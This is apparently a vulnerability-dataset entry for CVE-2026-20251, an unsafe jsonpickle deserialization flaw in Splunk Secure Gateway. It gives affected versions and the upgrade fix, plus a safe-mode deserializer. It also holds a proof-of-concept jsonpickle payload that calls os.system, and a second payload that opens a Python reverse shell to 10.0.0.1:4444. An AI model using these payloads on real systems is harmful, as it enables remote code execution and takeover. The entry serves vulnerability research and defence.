CVE-2026-20251

Splunk Secure Gateway RCE via unsafe deserialization by low-priv users.

• CVSS 8.8
• CWE-502
• Input Validation and Sanitization
• Remote

In Splunk Enterprise versions below 10.2.4, 10.0.7, 9.4.12, and 9.3.13, Splunk Cloud Platform versions below 10.3.2512.12, 10.2.2510.14, 10.1.2507.22, and 9.3.2411.132, and Splunk Secure Gateway versions below 3.10.6, 3.9.20, and 3.8.67, a low-privileged user that does not hold the 'admin' or 'power' Splunk roles could perform a Remote Code Execution (RCE) through the Splunk Secure Gateway app.<br><br>The Remote Code Execution is possible because of unsafe deserialization of App Key Value Store (KV Store) data through the ‘jsonpickle’ Python library, which reconstructs arbitrary Python objects from specially crafted JavaScript Object Notation (JSON) without adequate validation.

CVE

CVE-2026-20251

CWE

CWE-502

CVSS base score

8.8

Published

2026-06-10

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Timing/Serialization

Code defect classification

Missing Check

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

jsonpickle

Fixed by upgrading

Yes

Solution

Upgrade to one of the following versions or a higher version: * **Splunk Enterprise:** 10.2.4, 10.0.7, 9.4.12, or 9.3.13 * **Splunk Cloud Platform:** 10.3.2512.12, 10.2.2510.14, 10.1.2507.22, or 9.3.2411.132 * **Splunk Secure Gateway:** 3.10.6, 3.9.20, or 3.8.67

import jsonpickle
import os

malicious_json_payload = """
{
    "py/object": "builtins.object",
    "py/reduce": [
        {
            "py/function": "os.system"
        },
        {
            "py/tuple": [
                "echo 'Remote Code Execution successful via unsafe deserialization'"
            ]
        }
    ]
}
"""

# In the vulnerable application, this untrusted 'malicious_json_payload'
# would be retrieved from the KV Store. The following line then deserializes
# it without validation, causing the command to execute.
reconstructed_object = jsonpickle.decode(malicious_json_payload)

import jsonpickle
import logging

# Configure a logger for demonstration purposes
logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__name__)

def safe_deserializer_for_kv_store(json_data):
    """
    Represents the fixed approach to deserializing KV Store data,
    mitigating the unsafe deserialization vulnerability.

    The original vulnerable code would have used `jsonpickle.decode(json_data)`
    without any safety controls.

    The fix is to use the `safe=True` argument, which prevents jsonpickle from
    reconstructing arbitrary Python objects from the JSON input. This blocks
    the RCE vector while allowing legitimate, simple JSON data to be parsed.
    """
    try:
        # THE FIX: The 'safe=True' argument instructs jsonpickle to reject
        # any attempts to instantiate complex Python types or objects,
        # effectively treating the input as plain JSON.
        data = jsonpickle.decode(json_data, safe=True)
        return data
    except Exception as e:
        # In safe mode, a malicious payload with object instructions may
        # raise an exception or be partially parsed as a dict.
        # Logging the error is important for security monitoring.
        log.warning(f"Blocked a potentially unsafe deserialization attempt: {e}")
        return None

{
    "py/apply": [
        "os.system",
        [
            "python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\", 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"
        ]
    ]
}

@misc{vaitp:cve202620251,
  title        = {{Splunk Secure Gateway RCE via unsafe deserialization by low-priv users.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-20251},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-20251/}}
}